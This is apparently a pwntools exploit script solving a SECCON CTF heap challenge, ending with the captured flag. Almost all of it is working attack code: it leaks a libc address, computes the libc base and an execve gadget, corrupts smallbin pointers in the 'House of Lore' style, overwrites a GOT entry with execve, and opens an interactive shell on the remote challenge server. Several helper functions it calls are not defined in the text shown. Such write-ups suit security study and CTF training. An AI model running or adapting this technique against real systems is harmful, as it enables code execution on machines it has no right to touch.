def purchase(code,num,comment):
    p.recvuntil('Command : ')
    p.send('2')
    p.recvuntil('Please enter the code number of the candy to be purchased.')
    p.send(code)
    p.recvuntil('Please enter the number of the candy to purchase.')
    p.send(num)
    p.recvuntil('Please enter a comment for candy.')
    p.send(comment)

bin = ELF('./Lazenca.0x0')
p = remote('n8.pwn.tk.seccon.spica.bz',9999)

signal = bin.got['signal']

login('Admin','admin')

setOrderlist('1')
setOrder('10','TEST')

setOrderlist('1')
setOrderlist('1')

purchase('0','10','AA')

setOrderlist('1')

getOrderlist()

p.recvuntil('Order code  : ')
p.recvuntil('Order code  : ')
p.recvuntil('Order code  : ')
p.recv(1)
tmp = p.recv(5)
tmp = '\x00' + tmp
libcLeak = u64(tmp.ljust(8,'\x00'))
libcBase = libcLeak - 0x3c4c00
execve = libcBase + 0xF0274

log.info("Libc leak : " + hex(libcLeak))
log.info("Libc base: " + hex(libcBase))
log.info("execve : " + hex(execve))

p.recvuntil('Command : ')
p.send('5')

#Design heap
delOrderlist()

setOrder('20','BB')

logout()

#Create account 1
setAccount('asdf')
login('asdf','asdf')
fill(gAccount2fd)
logout()

#Create account 2
setAccount('qwer')
login('qwer','qwer')
fill(gAccount1bk)
logout()

#Set gAccount[1].fd->state
login('Admin','admin')

delAccount('2')

setOrderlist('0')
setOrder('1','A'*24)

#register bins[16,17]
purchase('1','10','AA')

#Overwrite Smallbin bk
pwChange('2',p64(gAccount1bk))

setOrderlist('3')
setOrder('1','A'*24)

purchase('1','10','AA')

#Overwrite gAccount[1].fd
setOrderlist('2')
setOrder('1',p64(signal))

#Overwrite fflush.got
p.recvuntil('Command : ')
p.send('5')
p.recvuntil('Command : ')
p.send('2')
p.recvuntil('Please enter the number of the account you want to change PW')
p.send('2')
p.recvuntil('Enter your New Password.')
p.send(p64(execve))

#Get shell
p.interactive()

Flag

Flag

SECCON{Y0u h4ve 4cquired the "H0use 0f L0re" techn0l0gy. by Lazenca.0x0}

Related Site

...